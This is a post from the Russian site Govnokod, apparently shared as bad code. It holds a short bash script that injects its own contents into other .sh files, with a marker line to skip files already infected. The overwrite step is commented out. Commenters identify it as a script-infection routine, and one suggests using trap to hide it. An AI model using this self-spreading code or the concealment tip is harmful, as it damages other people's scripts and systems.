1. bash / Говнокод #2233

    −122.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    #!/bin/bash
    grep ttt y
    for fl in `find $1 | grep .sh$`
    do
    l1=`cat $fl | head -n 2 | grep ttt`
    l2="grep ttt y"
    case $l1 in
    $l2)
    echo "yes "$l1" "$fl
            ;;
    *)
            echo "no "$l1" "$fl
            echo '#!/bin/bash' > $fl.2
            echo 'grep ttt y' >> $fl.2
            cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
            cat $fl.2
    #        cp $fl.2 $fl
            rm $fl.2
    esac
    done
    cp ~/pp.sh~ ~/pp.sh
    exit 0

    Запостил: Alice, 06 Декабря 2009

    Комментарии (4) RSS

    • Вы хоть понимаете что она делает?
      Ответить
      • Понимаю, но без знания содержимого pp.sh не до конца. Впрочем, при закомментированной команде копирования правильный ответ будет: "почти ничего, только спамит много":)
        Ответить
    • pp.sh это он сам.
      Ответить
      • Тогда понятно, процедура заражения скриптов. А почему не trap? Его проще замешать.
        Только слишком понятно написано
        Ответить

    Добавить комментарий